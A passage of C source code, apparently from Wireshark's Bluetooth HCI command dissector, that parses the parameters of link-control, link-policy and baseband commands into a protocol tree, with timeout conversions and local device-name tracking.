proto_tree_add_item(tree, hf_bthci_cmd_logical_link_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x003b: /* Logical Link Cancel */
proto_tree_add_item(tree, hf_bthci_cmd_physical_link_handle, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_flow_spec_identifier, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x003c: /* Flow Spec Modify */
proto_tree_add_item(tree, hf_bthci_cmd_logical_link_handle, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
offset = dissect_bthci_cmd_flow_spec(tvb, offset, pinfo, tree, TRUE);
offset = dissect_bthci_cmd_flow_spec(tvb, offset, pinfo, tree, FALSE);
break;
case 0x0002: /* Inquiry Cancel */
case 0x0004: /* Exit Periodic Inquiry Mode */
/* NOTE: No parameters */
break;
case 0x003D: /* Enhanced Setup Synchronous Connection */
case 0x003E: /* Enhanced Accept Synchronous Connection Request */
case 0x003F: /* Truncated Page */
case 0x0040: /* Truncated Page Cancel */
case 0x0041: /* Set Connectionless Slave Broadcast */
case 0x0042: /* Set Connectionless Slave Broadcast Receive */
case 0x0043: /* Start Synchronization Train */
case 0x0044: /* Receive Synchronization Train */
/* TODO: Implement above cases */
proto_tree_add_expert(tree, pinfo, &ei_command_undecoded, tvb, offset, -1);
offset += tvb_length_remaining(tvb, offset);
break;
}
return offset;
}
static int
dissect_link_policy_cmd(tvbuff_t *tvb, int offset, packet_info *pinfo _U_, proto_tree *tree, guint16 cmd_ocf)
{
proto_item *item;
guint16 timeout;
switch (cmd_ocf) {
case 0x0001: /* Hold Mode */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_max_interval_hold, tvb, offset, 2, ENC_LITTLE_ENDIAN);
timeout = tvb_get_letohs(tvb, offset);
proto_item_append_text(item, " slots (%g msec)", timeout*0.625);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_min_interval_hold, tvb, offset, 2, ENC_LITTLE_ENDIAN);
timeout = tvb_get_letohs(tvb, offset);
proto_item_append_text(item, " slots (%g msec)", timeout*0.625);
offset+=2;
break;
case 0x0003: /* sniff mode */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_max_interval_sniff, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " slots (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_min_interval_sniff, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " slots (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_sniff_attempt, tvb, offset, 2, ENC_LITTLE_ENDIAN);
timeout = tvb_get_letohs(tvb, offset);
if (timeout>0) {
proto_item_append_text(item, " (%g msec)", (2*timeout-1)*0.625);
} else {
proto_item_append_text(item, " (0 msec)");
}
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_timeout, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " slots (%g msec)", tvb_get_letohs(tvb, offset)*1.25);
offset+=2;
break;
case 0x0005: /* Park Mode */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_max_interval_beacon, tvb, offset, 2, ENC_LITTLE_ENDIAN);
timeout = tvb_get_letohs(tvb, offset);
proto_item_append_text(item, " slots (%g msec)", timeout*0.625);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_min_interval_beacon, tvb, offset, 2, ENC_LITTLE_ENDIAN);
timeout = tvb_get_letohs(tvb, offset);
proto_item_append_text(item, " slots (%g msec)", timeout*0.625);
offset+=2;
break;
case 0x0007: /* QoS Setup */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_flags, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_service_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_token_rate, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
proto_tree_add_item(tree, hf_bthci_cmd_peak_bandwidth, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
proto_tree_add_item(tree, hf_bthci_cmd_latency, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
proto_tree_add_item(tree, hf_bthci_cmd_delay_variation, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
break;
case 0x000b: /* Switch Role */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_role, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0004: /* Exit Sniff Mode */
case 0x0006: /* Exit Park Mode */
case 0x0009: /* Role Discovery */
case 0x000c: /* Read Link Policy Settings */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x000d: /* Write Link Policy Settings */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
/* deliberately fall through */
case 0x000f: /* Write Default Link Policy Settings */
proto_tree_add_item(tree, hf_bthci_cmd_link_policy_setting_switch, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_link_policy_setting_hold , tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_link_policy_setting_sniff , tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_link_policy_setting_park , tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x0010: /* Flow Specification */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_flags, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_service_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_token_rate, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
proto_tree_add_item(tree, hf_bthci_cmd_token_bucket_size, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
proto_tree_add_item(tree, hf_bthci_cmd_peak_bandwidth, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
proto_tree_add_item(tree, hf_bthci_cmd_latency, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
break;
case 0x0011: /* Sniff Subrating */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_max_latency, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " slots (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_min_remote_timeout, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " slots (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_min_local_timeout, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " slots (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
break;
case 0x00e: /* Read Default Link Policy Setting */
/* NOTE: No parameters */
break;
}
return offset;
}
static int
dissect_host_controller_baseband_cmd(tvbuff_t *tvb, int offset, packet_info *pinfo,
proto_tree *tree, guint16 cmd_ocf, hci_data_t *hci_data)
{
proto_item *item;
guint16 timeout;
guint8 filter_type, filter_condition_type, num8;
int i;
switch (cmd_ocf) {
case 0x0001: /* Set Event Mask */
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_00, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_01, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_02, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_03, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_04, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_05, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_06, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_07, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_10, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_11, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_12, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_13, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_14, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_17, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_20, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_21, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_23, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_24, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_25, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_26, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_27, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_30, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_31, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_32, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_33, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_34, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_35, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_36, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_37, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_40, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_41, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_42, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_53, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_54, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_55, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_56, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_57, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_60, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_61, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_62, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_63, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_64, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_65, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_67, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_70, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_72, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask_73, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0005: /* Set Event Filter */
proto_tree_add_item(tree, hf_bthci_cmd_filter_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
filter_type = tvb_get_guint8(tvb, 3);
offset++;
switch (filter_type) {
case 0x01: /* Inquiry Result Filter */
proto_tree_add_item(tree, hf_bthci_cmd_inquiry_result_filter_condition_type,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
filter_condition_type = tvb_get_guint8(tvb, offset);
offset++;
switch (filter_condition_type) {
case 0x01:
call_dissector(btcommon_cod_handle, tvb_new_subset_length(tvb, offset, 3), pinfo, tree);
offset += 3;
offset=dissect_bthci_cmd_cod_mask(tvb, offset, pinfo, tree);
break;
case 0x02:
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
break;
default:
break;
}
break;
case 0x02: /* Connection Setup Filter */
proto_tree_add_item(tree, hf_bthci_cmd_connection_setup_filter_condition_type,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
filter_condition_type = tvb_get_guint8(tvb, offset);
offset++;
switch (filter_condition_type) {
case 0x00:
proto_tree_add_item(tree, hf_bthci_cmd_auto_acc_flag, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x01:
call_dissector(btcommon_cod_handle, tvb_new_subset_length(tvb, offset, 3), pinfo, tree);
offset += 3;
offset=dissect_bthci_cmd_cod_mask(tvb, offset, pinfo, tree);
proto_tree_add_item(tree, hf_bthci_cmd_auto_acc_flag, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x02:
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_auto_acc_flag, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
default:
break;
}
break;
default:
break;
}
break;
case 0x000a: /* Write PIN Type */
proto_tree_add_item(tree, hf_bthci_cmd_pin_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x000d: /* Read Stored Link Key */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_read_all_flag, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0011: /* Write Stored Link Key */
proto_tree_add_item(tree, hf_bthci_cmd_num_link_keys, tvb, offset, 1, ENC_LITTLE_ENDIAN);
num8 = tvb_get_guint8(tvb, offset);
offset += 1;
for (i = 0; i < num8; i++) {
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_link_key, tvb, offset, 16, ENC_NA);
offset += 16;
}
break;
case 0x0012: /* Delete Stored Link Key */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_delete_all_flag, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0013: /* Change Local Name */
proto_tree_add_item(tree, hf_bthci_cmd_device_name, tvb, offset, 248, ENC_ASCII | ENC_NA);
if (!pinfo->fd->flags.visited) {
wmem_tree_key_t key[4];
guint32 k_interface_id;
guint32 k_adapter_id;
guint32 k_frame_number;
gchar *name;
localhost_name_entry_t *localhost_name_entry;
k_interface_id = hci_data->interface_id;
k_adapter_id = hci_data->adapter_id;
k_frame_number = pinfo->fd->num;
name = tvb_get_string_enc(wmem_packet_scope(), tvb, offset, 248, ENC_ASCII);
key[0].length = 1;
key[0].key = &k_interface_id;
key[1].length = 1;
key[1].key = &k_adapter_id;
key[2].length = 1;
key[2].key = &k_frame_number;
key[3].length = 0;
key[3].key = NULL;
localhost_name_entry = (localhost_name_entry_t *) wmem_new(wmem_file_scope(), localhost_name_entry_t);
localhost_name_entry->interface_id = k_interface_id;
localhost_name_entry->adapter_id = k_adapter_id;
localhost_name_entry->name = wmem_strdup(wmem_file_scope(), name);
wmem_tree_insert32_array(hci_data->localhost_name, key, localhost_name_entry);
}
offset += 248;
break;
case 0x0016: /* Write Connection Accept Timeout */
item = proto_tree_add_item(tree, hf_bthci_cmd_timeout, tvb, offset, 2, ENC_LITTLE_ENDIAN);
timeout = tvb_get_letohs(tvb, offset);
proto_item_append_text(item, " slots (%g msec)", timeout*0.625);
offset+=2;
break;
case 0x0018: /* Write Page Timeout */
item = proto_tree_add_item(tree, hf_bthci_cmd_timeout, tvb, offset, 2, ENC_LITTLE_ENDIAN);
timeout = tvb_get_letohs(tvb, offset);
if (timeout > 0) {
proto_item_append_text(item, " slots (%g msec)", timeout*0.625);
} else {
proto_item_append_text(item, " Illegal Page Timeout");
}
offset+=2;
break;
case 0x001a: /* Write Scan Enable */
proto_tree_add_item(tree, hf_bthci_cmd_scan_enable,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0020: /* Write Authentication Enable */
proto_tree_add_item(tree, hf_bthci_cmd_authentication_enable,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0022: /* Write Encryption Mode */
proto_tree_add_item(tree, hf_bthci_cmd_encrypt_mode, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0024: /* Write Class of Device */
call_dissector(btcommon_cod_handle, tvb_new_subset_length(tvb, offset, 3), pinfo, tree);
offset += 3;
break;
case 0x0026: /* Write Voice Setting */
proto_tree_add_item(tree, hf_bthci_cmd_input_unused,
tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_input_coding,
tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_input_data_format,
tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_input_sample_size,
tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_linear_pcm_bit_pos,
tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_air_coding_format,
tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x0028: /* Write Automatic Flush Timeout */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_timeout, tvb, offset, 2, ENC_LITTLE_ENDIAN);
timeout = tvb_get_letohs(tvb, offset);
if (timeout>0) {
proto_item_append_text(item, " slots (%g msec)", timeout*0.625);
} else {
proto_item_append_text(item, " (= No Automatic Flush )");
}
offset+=2;
break;
case 0x002a: /* Write Num of Broadcast Retransmissions */
proto_tree_add_item(tree, hf_bthci_cmd_num_broadcast_retransmissions,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x002c: /* Write Hold Mode Activity */
proto_tree_add_item(tree, hf_bthci_cmd_hold_mode_act_page,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_hold_mode_act_inquiry,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_hold_mode_act_periodic,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x002d: /* Read Transmit Power Level */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle,
tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_tx_power_level_type,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x002f: /* Write SCO Flow Control Enable */
proto_tree_add_item(tree, hf_bthci_cmd_sco_flow_control,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0031: /* Set Host Controller To Host Flow Control */
proto_tree_add_item(tree, hf_bthci_cmd_flow_contr_enable,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0033: /* Host Buffer Size */
proto_tree_add_item(tree, hf_bthci_cmd_host_data_packet_length_acl,
tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_host_data_packet_length_sco,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_host_total_num_acl_data_packets,
tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_host_total_num_sco_data_packets,
tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x0035: /* Host Number Of Completed Packets */
proto_tree_add_item(tree, hf_bthci_cmd_num_handles,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
num8 = tvb_get_guint8(tvb, offset);
offset++;
for (i=0; i<num8; i++) {
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle,
tvb, offset+(i*4), 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_num_compl_packets,
tvb, offset+2+(i*4), 2, ENC_LITTLE_ENDIAN);
}
break;
case 0x0037: /* Write Link Supervision Timeout */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle,
tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_timeout,
tvb, offset, 2, ENC_LITTLE_ENDIAN);
timeout = tvb_get_letohs(tvb, offset);
if (timeout>0) {
proto_item_append_text(item, " slots (%g msec)", timeout*0.625);
} else {
proto_item_append_text(item, " (= No Link Supervision Timeout)");
}
offset+=2;
break;
case 0x003a: /* Write Current IAC LAP */
proto_tree_add_item(tree, hf_bthci_cmd_num_curr_iac, tvb, offset, 1, ENC_LITTLE_ENDIAN);
num8 = tvb_get_guint8(tvb, offset);
offset++;
for (i=0; i<num8; i++) {
proto_tree_add_item(tree, hf_bthci_cmd_iac_lap, tvb, offset+(i*3), 3, ENC_LITTLE_ENDIAN);
}
offset += num8 * 3;
break;
case 0x003c: /* Write Page Scan Period Mode */
proto_tree_add_item(tree, hf_bthci_cmd_page_scan_period_mode,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x003e: /* Write Page Scan Mode */
proto_tree_add_item(tree, hf_bthci_cmd_page_scan_mode,
tvb, 3, 1, ENC_LITTLE_ENDIAN);
break;
case 0x003f: /* Set AFH Host Channel Classification */
proto_tree_add_item(tree, hf_bthci_cmd_afh_ch_classification, tvb, offset, 10, ENC_NA);
offset+=10;
break;
case 0x0008: /* Flush */
case 0x0027: /* Read Automatic Flush Timeout */
case 0x0036: /* Read Link Supervision Timeout */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x001c: /* Write Page Scan Activity */
case 0x001e: /* Write Inquiry Scan Activity */
item = proto_tree_add_item(tree, hf_bthci_cmd_interval, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " slots (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_window, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " slots (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
break;
case 0x0043: /* Write Inquiry Scan Type */
proto_tree_add_item(tree, hf_bthci_cmd_scan_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0045: /* Write Inquiry Mode */
proto_tree_add_item(tree, hf_bthci_cmd_inq_mode, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0047: /* Write Page Scan Type */
proto_tree_add_item(tree, hf_bthci_cmd_scan_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0049: /* Write AFH Channel Assessment Mode */
proto_tree_add_item(tree, hf_bthci_cmd_afh_ch_assessment_mode, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0052: /* Write Extended Inquiry Response */
proto_tree_add_item(tree, hf_bthci_cmd_fec_required, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
call_dissector(btcommon_eir_handle, tvb_new_subset_length(tvb, offset, 240), pinfo, tree);
save_local_device_name(tvb, offset, pinfo, 240, hci_data);
offset += 240;
break;
case 0x0053: /* Refresh Encryption Key */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x0056: /* Write Simple Pairing Mode */
proto_tree_add_item(tree, hf_bthci_cmd_simple_pairing_mode, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0059: /* Write Inquiry Tx Response Power Level */
proto_tree_add_item(tree, hf_bthci_cmd_tx_power, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x005b: /* Write Default Erroneous Data Reporting */
proto_tree_add_item(tree, hf_bthci_cmd_err_data_reporting, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x005f: /* Enhanced Flush */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_flush_packet_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0060: /* Send Keypress Notification */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_notification_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0062: /* Write Logical Link Accept Timeout */
item = proto_tree_add_item(tree, hf_bthci_cmd_timeout, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " slots (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
break;
case 0x0063: /* Set Event Mask Page 2 */
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_00, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_01, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_02, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_03, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_04, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_05, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_06, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_07, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_10, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_11, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_12, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_13, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_14, tvb, offset, 1, ENC_LITTLE_ENDIAN);
